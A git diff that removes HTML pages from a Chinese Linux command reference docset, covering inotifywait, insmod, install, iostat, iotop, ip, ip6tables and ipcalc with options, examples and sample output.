  • /proc/sys/fs/inotify/max_queued_evnets表示调用inotify_init时分配给inotify instance中可排队的event的数目的最大值,超出这个值的事件被丢弃,但会触发IN_Q_OVERFLOW事件。
  • -
  • /proc/sys/fs/inotify/max_user_instances表示每一个real user id可创建的inotify instatnces的数量上限。
  • -
  • /proc/sys/fs/inotify/max_user_watches表示每个inotify instatnces可监控的最大目录数量。如果监控的文件数目巨大,需要根据情况,适当增加此值的大小。
  • -
-

根据以上在32位或者64位系统都可以执行:

-
echo 104857600 > /proc/sys/fs/inotify/max_user_watches
-echo 'echo 104857600 > /proc/sys/fs/inotify/max_user_watches' >> /etc/rc.local
-
-

如果遇到以下错误:

-
inotifywait: error while loading shared libraries: libinotifytools.so.0: cannot open shared object file: No such file or directory 
-
-
 **解决方法:** 
-32位系统:ln -s /usr/local/lib/libinotifytools.so.0 /usr/lib/libinotifytools.so.0
-64位系统:ln -s /usr/local/lib/libinotifytools.so.0 /usr/lib64/libinotifytools.so.0
-
-

inotifywait命令使用

-
#!/bin/bash
-#filename watchdir.sh
-path=$1
-/usr/local/bin/inotifywait -mrq --timefmt '%d/%m/%y/%H:%M' --format '%T %w %f' -e modify,delete,create,attrib $path
-
-执行输出:
-./watchdir.sh /data/wsdata/tools/
-04/01/13/16:34 /data/wsdata/tools/ .j.jsp.swp
-04/01/13/16:34 /data/wsdata/tools/ .j.jsp.swx
-04/01/13/16:34 /data/wsdata/tools/ .j.jsp.swx
-04/01/13/16:34 /data/wsdata/tools/ .j.jsp.swp
-04/01/13/16:34 /data/wsdata/tools/ .j.jsp.swp
-04/01/13/16:34 /data/wsdata/tools/ .j.jsp.swp
-04/01/13/16:34 /data/wsdata/tools/ .j.jsp.swp
-04/01/13/16:34 /data/wsdata/tools/ .j.jsp.swp
-04/01/13/16:35 /data/wsdata/tools/ 4913
-04/01/13/16:35 /data/wsdata/tools/ 4913
-04/01/13/16:35 /data/wsdata/tools/ 4913
-04/01/13/16:35 /data/wsdata/tools/ j.jsp
-04/01/13/16:35 /data/wsdata/tools/ j.jsp
-04/01/13/16:35 /data/wsdata/tools/ j.jsp
-04/01/13/16:35 /data/wsdata/tools/ j.jsp~
-04/01/13/16:35 /data/wsdata/tools/ .j.jsp.swp
-
-

inotifywait命令参数

-
    -
  • -m是要持续监视变化。
  • -
  • -r使用递归形式监视目录。
  • -
  • -q减少冗余信息,只打印出需要的信息。
  • -
  • -e指定要监视的事件列表。
  • -
  • --timefmt是指定时间的输出格式。
  • -
  • --format指定文件变化的详细信息。
  • -
-

可监听的事件

-

事件 | 描述 ---- | --- -access | 访问 ,读取文件。 -modify | 修改 ,文件内容被修改。 -attrib | 属性 ,文件元数据被修改。 -move | 移动 ,对文件进行移动操作。 -create | 创建 ,生成新文件 -open | 打开 ,对文件进行打开操作。 -close | 关闭 ,对文件进行关闭操作。 -delete | 删除 ,文件被删除。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/insmod.html b/linux-command.docset/Contents/Resources/Documents/c/insmod.html deleted file mode 100644 index 70470722f0..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/insmod.html +++ /dev/null @@ -1,98 +0,0 @@ - - - - - - - - - - - insmod 命令,Linux insmod 命令详解:将给定的模块加载到内核中 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

insmod

-

将给定的模块加载到内核中

-

补充说明

-

insmod命令 用于将给定的模块加载到内核中。Linux有许多功能是通过模块的方式,在需要时才载入kernel。如此可使kernel较为精简,进而提高效率,以及保有较大的弹性。这类可载入的模块,通常是设备驱动程序。

-

语法

-
insmod(选项)(参数)
-
-

选项

-
-f:不检查目前kernel版本与模块编译时的kernel版本是否一致,强制将模块载入;
--k:将模块设置为自动卸除;
--m:输出模块的载入信息;
--o<模块名称>:指定模块的名称,可使用模块文件的文件名;
--p:测试模块是否能正确地载入kernel;
--s:将所有信息记录在系统记录文件中;
--v:执行时显示详细的信息;
--x:不要汇出模块的外部符号;
--X:汇出模块所有的外部符号,此为预设置。
-
-

参数

-

内核模块:指定要加载的内核模块文件。

-

实例

-

加载RAID1阵列级别模块,如下所示:

-
[root@localhost boot]# insmod /lib/modules/2.6.
-18-8.el5/kernel/drivers/md/raid1.ko  
-
-[root@localhost boot]# lsmod | grep raid1
-raid1                  25153  0
-
-

从以上显示结果可知,RAID1模块已加载成功。只是在使用insmod命令加载模块时,需要使用绝对路径方能加载,且加载时无法自动解决依赖关系。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/install.html b/linux-command.docset/Contents/Resources/Documents/c/install.html deleted file mode 100644 index 5cf92a47dc..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/install.html +++ /dev/null @@ -1,118 +0,0 @@ - - - - - - - - - - - install 命令,Linux install 命令详解:安装或升级软件或备份数据 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

install

-

安装或升级软件或备份数据

-

补充说明

-

install命令 的作用是安装或升级软件或备份数据,它的使用权限是所有用户。install命令和cp命令类似,都可以将文件/目录拷贝到指定的地点。但是,install允许你控制目标文件的属性。install通常用于程序的makefile,使用它来将程序拷贝到目标(安装)目录。

-

语法

-
install [OPTION]... [-T] SOURCE DEST
-install [OPTION]... SOURCE... DIRECTORY
-install [OPTION]... -t DIRECTORY SOURCE...
-install [OPTION]... -d DIRECTORY...
-
-

在前两种格式中,会将<来源>复制至<目的地>或将多个<来源>文件复制至已存在的<目录>,同时设定权限模式及所有者/所属组。在第三种格式中,会创建所有指定的目录及它们的主目录。长选项必须用的参数在使用短选项时也是必须的。

-

选项

-
--backup[=CONTROL]:为每个已存在的目的地文件进行备份。
--b:类似 --backup,但不接受任何参数。
--c:(此选项不作处理)。
--d,--directory:所有参数都作为目录处理,而且会创建指定目录的所有主目录。
--D:创建<目的地>前的所有主目录,然后将<来源>复制至 <目的地>;在第一种使用格式中有用。
--g,--group=组:自行设定所属组,而不是进程目前的所属组。
--m,--mode=模式:自行设定权限模式 (像chmod),而不是rwxr-xr-x。
--o,--owner=所有者:自行设定所有者 (只适用于超级用户)。
--p,--preserve-timestamps:以<来源>文件的访问/修改时间作为相应的目的地文件的时间属性。
--s,--strip:用strip命令删除symbol table,只适用于第一及第二种使用格式。
--S,--suffix=后缀:自行指定备份文件的<后缀>。
--v,--verbose:处理每个文件/目录时印出名称。
---help:显示此帮助信息并离开。
---version:显示版本信息并离开。
-
-

实例

-
install -d [option] DIRECTORY [DIRECTORY...]
-
-

支持多个,类似mkdir -p支持递归。例如:install -d a/b/c e/f结果和mkdir -p a/b/c e/f一样。

-
install [option] SOURCE DEST
-
-

复制SOURCE文件(测试不能是目录)到DEST file(文件):

-
install a/e c
-结果类似:
-cp a/e c    #注意c必须是文件。
-
-

有用选项-D

-
install -D x a/b/c
-效果类似:
-mkdir -p a/b && cp x a/b/c
-
-
install [option] SOURCE [SOURCE...] DIRECTORY
-
-

复制多个SOURCE文件到目的目录:

-
install a/* d
-
-

其中d是目录。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/iostat.html b/linux-command.docset/Contents/Resources/Documents/c/iostat.html deleted file mode 100644 index 589770c603..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/iostat.html +++ /dev/null @@ -1,124 +0,0 @@ - - - - - - - - - - - iostat 命令,Linux iostat 命令详解:监视系统输入输出设备和CPU的使用情况 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

iostat

-

监视系统输入输出设备和CPU的使用情况

-

补充说明

-

iostat命令 被用于监视系统输入输出设备和CPU的使用情况。它的特点是汇报磁盘活动统计情况,同时也会汇报出CPU使用情况。同vmstat一样,iostat也有一个弱点,就是它不能对某个进程进行深入分析,仅对系统的整体情况进行分析。

-

语法

-
iostat(选项)(参数)
-
-

选项

-
-c:仅显示CPU使用情况;
--d:仅显示设备利用率;
--k:显示状态以千字节每秒为单位,而不使用块每秒;
--m:显示状态以兆字节每秒为单位;
--p:仅显示块设备和所有被使用的其他分区的状态;
--t:显示每个报告产生时的时间;
--V:显示版号并退出;
--x:显示扩展状态。
-
-

参数

-
    -
  • 间隔时间:每次报告的间隔时间(秒);
  • -
  • 次数:显示报告的次数。
  • -
-

实例

-

iostat -x /dev/sda1来观看磁盘I/O的详细情况:

-
iostat -x /dev/sda1 
-Linux 2.6.18-164.el5xen (localhost.localdomain)
-2010年03月26日  
-
-avg-cpu:  %user   %nice %system %iowait 
-%steal   %idle  
-            0.11    0.02    0.18    0.35   
-0.03    99.31  
-
-Device:         tps   Blk_read/s    Blk_wrtn/s  
-Blk_read   Blk_wrtn  
-sda1                0.02          0.08       
-0.00          2014               4 
-
-

详细说明:第二行是系统信息和监测时间,第三行和第四行显示CPU使用情况(具体内容和mpstat命令相同)。这里主要关注后面I/O输出的信息,如下所示:

-

标示 | 说明 ---- | --- -Device | 监测设备名称 -rrqm/s | 每秒需要读取需求的数量 -wrqm/s | 每秒需要写入需求的数量 -r/s | 每秒实际读取需求的数量 -w/s | 每秒实际写入需求的数量 -rsec/s | 每秒读取区段的数量 -wsec/s | 每秒写入区段的数量 -rkB/s | 每秒实际读取的大小,单位为KB -wkB/s | 每秒实际写入的大小,单位为KB -avgrq-sz | 需求的平均大小区段 -avgqu-sz | 需求的平均队列长度 -await | 等待I/O平均的时间(milliseconds) -svctm | I/O需求完成的平均时间 -%util | 被I/O需求消耗的CPU百分比

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/iotop.html b/linux-command.docset/Contents/Resources/Documents/c/iotop.html deleted file mode 100644 index 05958b5b47..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/iotop.html +++ /dev/null @@ -1,124 +0,0 @@ - - - - - - - - - - - iotop 命令,Linux iotop 命令详解:用来监视磁盘I/O使用状况的工具 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

iotop

-

用来监视磁盘I/O使用状况的工具

-

补充说明

-

iotop命令 是一个用来监视磁盘I/O使用状况的top类工具。iotop具有与top相似的UI,其中包括PID、用户、I/O、进程等相关信息。Linux下的IO统计工具如iostat,nmon等大多数是只能统计到per设备的读写情况,如果你想知道每个进程是如何使用IO的就比较麻烦,使用iotop命令可以很方便的查看。

-

iotop使用Python语言编写而成,要求Python2.5(及以上版本)和Linux kernel2.6.20(及以上版本)。iotop提供有源代码及rpm包,可从其官方主页下载。

-

安装

-

Ubuntu

-
apt-get install iotop
-
-

CentOS

-
yum install iotop
-
-

编译安装

-
wget http://guichaz.free.fr/iotop/files/iotop-0.4.4.tar.gz    
-tar zxf iotop-0.4.4.tar.gz    
-python setup.py build    
-python setup.py install
-
-

语法

-
iotop(选项)
-
-

选项

-
-o:只显示有io操作的进程
--b:批量显示,无交互,主要用作记录到文件。
--n NUM:显示NUM次,主要用于非交互式模式。
--d SEC:间隔SEC秒显示一次。
--p PID:监控的进程pid。
--u USER:监控的进程用户。
-
-

iotop常用快捷键:

-
    -
  1. 左右箭头:改变排序方式,默认是按IO排序。
  2. -
  3. r:改变排序顺序。
  4. -
  5. o:只显示有IO输出的进程。
  6. -
  7. p:进程/线程的显示方式的切换。
  8. -
  9. a:显示累积使用量。
  10. -
  11. q:退出。
  12. -
-

实例

-

直接执行iotop就可以看到效果了:

-
Total DISK read:       0.00 B/s | Total DISK write:       0.00 B/s
-  TID  PRIO  USER     DISK READ  DISK WRITE  SWAPIN     IO>    command
-    1 be/4 root        0.00 B/s    0.00 B/s  0.00 %  0.00 % init [3]
-    2 be/4 root        0.00 B/s    0.00 B/s  0.00 %  0.00 % [kthreadd]
-    3 rt/4 root        0.00 B/s    0.00 B/s  0.00 %  0.00 % [migration/0]
-    4 be/4 root        0.00 B/s    0.00 B/s  0.00 %  0.00 % [ksoftirqd/0]
-    5 rt/4 root        0.00 B/s    0.00 B/s  0.00 %  0.00 % [watchdog/0]
-    6 rt/4 root        0.00 B/s    0.00 B/s  0.00 %  0.00 % [migration/1]
-    7 be/4 root        0.00 B/s    0.00 B/s  0.00 %  0.00 % [ksoftirqd/1]
-    8 rt/4 root        0.00 B/s    0.00 B/s  0.00 %  0.00 % [watchdog/1]
-    9 be/4 root        0.00 B/s    0.00 B/s  0.00 %  0.00 % [events/0]
-   10 be/4 root        0.00 B/s    0.00 B/s  0.00 %  0.00 % [events/1]
-   11 be/4 root        0.00 B/s    0.00 B/s  0.00 %  0.00 % [khelper]
-2572 be/4 root        0.00 B/s    0.00 B/s  0.00 %  0.00 % [bluetooth]
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/ip.html b/linux-command.docset/Contents/Resources/Documents/c/ip.html deleted file mode 100644 index 8269b90e05..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/ip.html +++ /dev/null @@ -1,172 +0,0 @@ - - - - - - - - - - - ip 命令,Linux ip 命令详解:网络配置工具 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

ip

-

网络配置工具

-

补充说明

-

ip命令 用来显示或操纵Linux主机的路由、网络设备、策略路由和隧道,是Linux下较新的功能强大的网络配置工具。

-

语法

-
ip(选项)(参数)
-Usage: ip [ OPTIONS ] OBJECT { COMMAND | help }
-       ip [ -force ] -batch filename
-
-

选项

-
OBJECT := { link | address | addrlabel | route | rule | neigh | ntable |
-       tunnel | tuntap | maddress | mroute | mrule | monitor | xfrm |
-       netns | l2tp | macsec | tcp_metrics | token }
-       
--V:显示指令版本信息;
--s:输出更详细的信息;
--f:强制使用指定的协议族;
--4:指定使用的网络层协议是IPv4协议;
--6:指定使用的网络层协议是IPv6协议;
--0:输出信息每条记录输出一行,即使内容较多也不换行显示;
--r:显示主机时,不使用IP地址,而使用主机的域名。
-
-

参数

-
OPTIONS := { -V[ersion] | -s[tatistics] | -d[etails] | -r[esolve] |
-        -h[uman-readable] | -iec |
-        -f[amily] { inet | inet6 | ipx | dnet | bridge | link } |
-        -4 | -6 | -I | -D | -B | -0 |
-        -l[oops] { maximum-addr-flush-attempts } |
-        -o[neline] | -t[imestamp] | -ts[hort] | -b[atch] [filename] |
-        -rc[vbuf] [size] | -n[etns] name | -a[ll] }
-        
-网络对象:指定要管理的网络对象;
-具体操作:对指定的网络对象完成具体操作;
-help:显示网络对象支持的操作命令的帮助信息。
-
-

实例

-
ip link show                     # 显示网络接口信息
-ip link set eth0 up             # 开启网卡
-ip link set eth0 down            # 关闭网卡
-ip link set eth0 promisc on      # 开启网卡的混合模式
-ip link set eth0 promisc offi    # 关闭网卡的混个模式
-ip link set eth0 txqueuelen 1200 # 设置网卡队列长度
-ip link set eth0 mtu 1400        # 设置网卡最大传输单元
-ip addr show     # 显示网卡IP信息
-ip addr add 192.168.0.1/24 dev eth0 # 设置eth0网卡IP地址192.168.0.1
-ip addr del 192.168.0.1/24 dev eth0 # 删除eth0网卡IP地址
-
-ip route show # 显示系统路由
-ip route add default via 192.168.1.254   # 设置系统默认路由
-ip route list                 # 查看路由信息
-ip route add 192.168.4.0/24  via  192.168.0.254 dev eth0 # 设置192.168.4.0网段的网关为192.168.0.254,数据走eth0接口
-ip route add default via  192.168.0.254  dev eth0        # 设置默认网关为192.168.0.254
-ip route del 192.168.4.0/24   # 删除192.168.4.0网段的网关
-ip route del default          # 删除默认路由
-ip route delete 192.168.1.0/24 dev eth0 # 删除路由
-
-

用ip命令显示网络设备的运行状态

-
[root@localhost ~]# ip link list
-1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue
-    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
-2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast qlen 1000
-    link/ether 00:16:3e:00:1e:51 brd ff:ff:ff:ff:ff:ff
-3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast qlen 1000
-    link/ether 00:16:3e:00:1e:52 brd ff:ff:ff:ff:ff:ff
-
-

显示更加详细的设备信息

-
[root@localhost ~]# ip -s link list
-1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue
-    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
-    RX: bytes  packets  errors  dropped overrun mcast   
-    5082831    56145    0       0       0       0      
-    TX: bytes  packets  errors  dropped carrier collsns
-    5082831    56145    0       0       0       0      
-2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast qlen 1000
-    link/ether 00:16:3e:00:1e:51 brd ff:ff:ff:ff:ff:ff
-    RX: bytes  packets  errors  dropped overrun mcast   
-    3641655380 62027099 0       0       0       0      
-    TX: bytes  packets  errors  dropped carrier collsns
-    6155236    89160    0       0       0       0      
-3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast qlen 1000
-    link/ether 00:16:3e:00:1e:52 brd ff:ff:ff:ff:ff:ff
-    RX: bytes  packets  errors  dropped overrun mcast   
-    2562136822 488237847 0       0       0       0      
-    TX: bytes  packets  errors  dropped carrier collsns
-    3486617396 9691081  0       0       0       0     
-
-

显示核心路由表

-
[root@localhost ~]# ip route list 
-112.124.12.0/22 dev eth1  proto kernel  scope link  src 112.124.15.130
-10.160.0.0/20 dev eth0  proto kernel  scope link  src 10.160.7.81
-192.168.0.0/16 via 10.160.15.247 dev eth0
-172.16.0.0/12 via 10.160.15.247 dev eth0
-10.0.0.0/8 via 10.160.15.247 dev eth0
-default via 112.124.15.247 dev eth1
-
-

显示邻居表

-
[root@localhost ~]# ip neigh list
-112.124.15.247 dev eth1 lladdr 00:00:0c:9f:f3:88 REACHABLE
-10.160.15.247 dev eth0 lladdr 00:00:0c:9f:f2:c0 STALE
-
-

获取主机所有网络接口

-
ip link | grep -E '^[0-9]' | awk -F: '{print $2}'
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/ip6tables-restore.html b/linux-command.docset/Contents/Resources/Documents/c/ip6tables-restore.html deleted file mode 100644 index c02afa89d1..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/ip6tables-restore.html +++ /dev/null @@ -1,80 +0,0 @@ - - - - - - - - - - - ip6tables-restore 命令,Linux ip6tables-restore 命令详解:还原ip6tables表 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

ip6tables-restore

-

还原ip6tables表

-

补充说明

-

ip6tables-restore命令 用来还原ip6tables表。

-

语法

-
ip6tables-restore(选项)
-
-

选项

-
-c:指定在还原iptables表时,还原当前的数据包计数器和字节计数器值;
--t:指定要还原的表的名称。
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/ip6tables-save.html b/linux-command.docset/Contents/Resources/Documents/c/ip6tables-save.html deleted file mode 100644 index 8946045e73..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/ip6tables-save.html +++ /dev/null @@ -1,80 +0,0 @@ - - - - - - - - - - - ip6tables-save 命令,Linux ip6tables-save 命令详解:保存ip6tables表配置 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

ip6tables-save

-

保存ip6tables表配置

-

补充说明

-

ip6tables-save命令 将Linux内核中ip6tables表导出到标准输出设备上。

-

语法

-
ip6tables-save(选项)
-
-

选项

-
-c:指定在保存iptables表时,保存当前的数据包计数器和字节计数器值;
--t:指定要保存的表的名称。
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/ip6tables.html b/linux-command.docset/Contents/Resources/Documents/c/ip6tables.html deleted file mode 100644 index 8899e0a592..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/ip6tables.html +++ /dev/null @@ -1,214 +0,0 @@ - - - - - - - - - - - ip6tables 命令,Linux ip6tables 命令详解:linux中防火墙软件 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

ip6tables

-

linux中防火墙软件

-

补充说明

-

ip6tables命令 和iptables一样,都是linux中防火墙软件,不同的是ip6tables采用的TCP/ip协议为IPv6。

-

语法

-
ip6tables(选项)
-
-

选项

-
-t<>:指定要操纵的表;
--A:向规则链中添加条目;
--D:从规则链中删除条目;
--i:向规则链中插入条目;
--R:替换规则链中的条目;
--L:显示规则链中已有的条目;
--F:清楚规则链中已有的条目;
--Z:清空规则链中的数据包计算器和字节计数器;
--N:创建新的用户自定义规则链;
--P:定义规则链中的默认目标;
--h:显示帮助信息;
--p:指定要匹配的数据包协议类型;
--s:指定要匹配的数据包源ip地址;
--j<目标>:指定要跳转的目标;
--i<网络接口>:指定数据包进入本机的网络接口;
--o<网络接口>:指定数据包要离开本机所使用的网络接口。
--c<计数器>:在执行插入操作(insert),追加操作(append),替换操作(replace)时初始化包计数器和字节计数器。
-
-

实例

-

在命令行窗口输入下面的指令就可以查看当前的 IPv6 防火墙配置:

-
ip6tables -nl --line-numbers
-
-

/etc/sysconfig/ip6tables文件

-

使用编辑器编辑/etc/sysconfig/ip6tables文件:

-
vi /etc/sysconfig/ip6tables
-
-

可能会看到下面的默认 ip6tables 规则:

-
*filter
-:INPUT accept [0:0]
-:FORWARD ACCEPT [0:0]
-:OUTPUT ACCEPT [0:0]
-:RH-Firewall-1-INPUT - [0:0]
--A INPUT -j RH-Firewall-1-INPUT
--A FORWARD -j RH-Firewall-1-INPUT
--A RH-Firewall-1-INPUT -i lo -j ACCEPT
--A RH-Firewall-1-INPUT -p icmpv6 -j ACCEPT
--A RH-Firewall-1-INPUT -p 50 -j ACCEPT
--A RH-Firewall-1-INPUT -p 51 -j ACCEPT
--A RH-Firewall-1-INPUT -p udp --dport 5353 -d ff02::fb -j ACCEPT
--A RH-Firewall-1-INPUT -p udp -m udp --dport 631 -j ACCEPT
--A RH-Firewall-1-INPUT -p tcp -m tcp --dport 631 -j ACCEPT
--A RH-Firewall-1-INPUT -p udp -m udp --dport 32768:61000 -j ACCEPT
--A RH-Firewall-1-INPUT -p tcp -m tcp --dport 32768:61000 ! --syn -j ACCEPT
--A RH-Firewall-1-INPUT -m tcp -p tcp --dport 22 -j ACCEPT
--A RH-Firewall-1-INPUT -j reject --reject-with icmp6-adm-prohibited
-COMMIT
-
-

与 IPv4 的 iptables 规则类似,但又不完全相同。

-

要开启 80 端口(HTTP 服务器端口),在 COMMIT 一行之前添加如下规则:

-
-A RH-Firewall-1-INPUT -m tcp -p tcp --dport 80 -j ACCEPT
-
-

-p tcp表示仅针对 tcp 协议的通信。--dport指定端口号。

-

要开启 53 端口(DNS 服务器端口),在 COMMIT 一行之前添加如下规则:

-
-A RH-Firewall-1-INPUT -m tcp -p tcp --dport 53 -j ACCEPT
--A RH-Firewall-1-INPUT -m udp -p tcp --dport 53 -j ACCEPT
-
-

同时针对 tcp 和 udp 协议开启 53 端口。

-

要开启 443 端口,在 COMMIT 一行之前添加如下规则:

-
-A RH-Firewall-1-INPUT -m tcp -p tcp --dport 443 -j ACCEPT
-
-

要开启 25 端口(SMTP 邮件服务器端口),在 COMMIT 一行之前添加如下规则:

-
-A RH-Firewall-1-INPUT -m tcp -p tcp --dport 25 -j ACCEPT
-
-

对于那些没有特定规则与之匹配的数据包,可能是我们不想要的,多半是有问题的。我们可能也希望在丢弃(DROP)之前记录它们。此时,可以将最后一行:

-
-A RH-Firewall-1-INPUT -j REJECT --reject-with icmp6-adm-prohibited
-COMMIT
-
-

改为:

-
-A RH-Firewall-1-INPUT -j LOG
--A RH-Firewall-1-INPUT -j DROP
-COMMIT
-
-

保存并关闭该文件。然后重新启动 ip6tables 防火墙:

-
# service ip6tables restart
-
-

然后重新查看 ip6tables 规则,可以看到如下所示的输出:

-
# ip6tables -vnL --line-numbers
-
-

输出示例:

-
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)
-num   pkts bytes target     prot opt in     out     source               destination
-1    42237 3243K RH-Firewall-1-INPUT  all      *      *       ::/0                 ::/0
-Chain FORWARD (policy ACCEPT 0 packets, 0 bytes)
-num   pkts bytes target     prot opt in     out     source               destination
-1        0     0 RH-Firewall-1-INPUT  all      *      *       ::/0                 ::/0
-Chain OUTPUT (policy ACCEPT 12557 packets, 2042K bytes)
-num   pkts bytes target     prot opt in     out     source               destination
-Chain RH-Firewall-1-INPUT (2 references)
-num   pkts bytes target     prot opt in     out     source               destination
-1        6   656 ACCEPT     all      lo     *       ::/0                 ::/0
-2    37519 2730K ACCEPT     icmpv6    *      *       ::/0                 ::/0
-3        0     0 ACCEPT     esp      *      *       ::/0                 ::/0
-4        0     0 ACCEPT     ah       *      *       ::/0                 ::/0
-5      413 48385 ACCEPT     udp      *      *       ::/0                 ff02::fb/128       udp dpt:5353
-6        0     0 ACCEPT     udp      *      *       ::/0                 ::/0               udp dpt:631
-7        0     0 ACCEPT     tcp      *      *       ::/0                 ::/0               tcp dpt:631
-8      173 79521 ACCEPT     udp      *      *       ::/0                 ::/0               udp dpts:32768:61000
-9        0     0 ACCEPT     tcp      *      *       ::/0                 ::/0               tcp dpts:32768:61000 flags:!0x16/0x02
-10       0     0 ACCEPT     tcp      *      *       ::/0                 ::/0               tcp dpt:22
-11       0     0 ACCEPT     tcp      *      *       ::/0                 ::/0               tcp dpt:80
-12       0     0 ACCEPT     tcp      *      *       ::/0                 ::/0               tcp dpt:53
-13    4108  380K ACCEPT     udp      *      *       ::/0                 ::/0               udp dpt:53
-14      18  4196 REJECT     all      *      *       ::/0                 ::/0
-
-

IPv6 私有 IP

-

IPv4 通常默认即可保护内部局域网私有 IP 上的主机。但是 IPv6 的地址非常丰富,不再需要使用类似 NAT 等协议的私有网络。这样一来,所有的内部主机都可以拥有公网 IP 而直接连接到互联网,也就同时暴露于互联网上的各种威胁之中了。那么,如何配置 IPv6 防火墙使其默认将除了 ping6 请求之外的所有输入数据包都丢弃呢?可以使用FC00::/7 前缀来标识本地 IPv6 单播地址。

-

允许特定的 ICMPv6 通信

-

使用 IPv6 的时候需要允许比 IPv4 更多类型的 ICMP 通信以保证路由和 IP 地址自动配置等功能正常工作。有时候,如果你的规则设置太过苛刻,可能都无法分配到正确的 IPv6 地址。当然,不使用 DHCP 而是手动配置 IP 地址的除外。

-

下面是一些比较常见的 ipv6-icmp 配置实例:

-
:ICMPv6 - [0:0]
-# Approve certain ICMPv6 types and all outgoing ICMPv6
-# http://forum.linode.com/viewtopic.php?p=39840#39840
--A INPUT -p icmpv6 -j ICMPv6
--A ICMPv6 -p icmpv6 --icmpv6-type echo-request -j ACCEPT
--A ICMPv6 -p icmpv6 --icmpv6-type destination-unreachable -j ACCEPT
--A ICMPv6 -p icmpv6 --icmpv6-type packet-too-big -j ACCEPT
--A ICMPv6 -p icmpv6 --icmpv6-type time-exceeded -j ACCEPT
--A ICMPv6 -p icmpv6 --icmpv6-type parameter-problem -j ACCEPT
--A ICMPv6 -p icmpv6 --icmpv6-type router-solicitation -j ACCEPT
--A ICMPv6 -p icmpv6 --icmpv6-type router-advertisement -j ACCEPT
--A ICMPv6 -p icmpv6 --icmpv6-type neighbour-solicitation -j ACCEPT
--A ICMPv6 -p icmpv6 --icmpv6-type neighbour-advertisement -j ACCEPT
--A ICMPv6 -p icmpv6 --icmpv6-type redirect -j ACCEPT
--A ICMPv6 -p icmpv6 --icmpv6-type 141 -j ACCEPT
--A ICMPv6 -p icmpv6 --icmpv6-type 142 -j ACCEPT
--A ICMPv6 -p icmpv6 --icmpv6-type 148 -j ACCEPT
--A ICMPv6 -p icmpv6 --icmpv6-type 149 -j ACCEPT
--A ICMPv6 -p icmpv6 --icmpv6-type 130 -s fe80::/10 -j ACCEPT
--A ICMPv6 -p icmpv6 --icmpv6-type 131 -s fe80::/10 -j ACCEPT
--A ICMPv6 -p icmpv6 --icmpv6-type 132 -s fe80::/10 -j ACCEPT
--A ICMPv6 -p icmpv6 --icmpv6-type 143 -s fe80::/10 -j ACCEPT
--A ICMPv6 -p icmpv6 --icmpv6-type 151 -s fe80::/10 -j ACCEPT
--A ICMPv6 -p icmpv6 --icmpv6-type 152 -s fe80::/10 -j ACCEPT
--A ICMPv6 -p icmpv6 --icmpv6-type 153 -s fe80::/10 -j ACCEPT
--A ICMPv6 -j RETURN
--A OUTPUT -p icmpv6 -j ACCEPT
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/ipcalc.html b/linux-command.docset/Contents/Resources/Documents/c/ipcalc.html deleted file mode 100644 index 367685d726..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/ipcalc.html +++ /dev/null @@ -1,104 +0,0 @@ - - - - - - - - - - - ipcalc 命令,Linux ipcalc 命令详解:简单的IP地址计算器 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

ipcalc

-

简单的IP地址计算器

-

补充说明

-

ipcalc命令 是一个简单的ip地址计算器,可以完成简单的IP地址计算任务。

-

语法

-
ipcalc(选项)
-
-

选项

-
-b:由给定的IP地址和网络掩码计算出广播地址;
--h:显示给定UP地址所对应的主机名;
--m:由给定的IP地址计算器网络掩码;
--p:显示给定的掩码或IP地址的前缀;
--n:由给定的IP地址和网络掩码计算网络地址;
--s:安静模式;
---help:显示帮助信息。
-
-

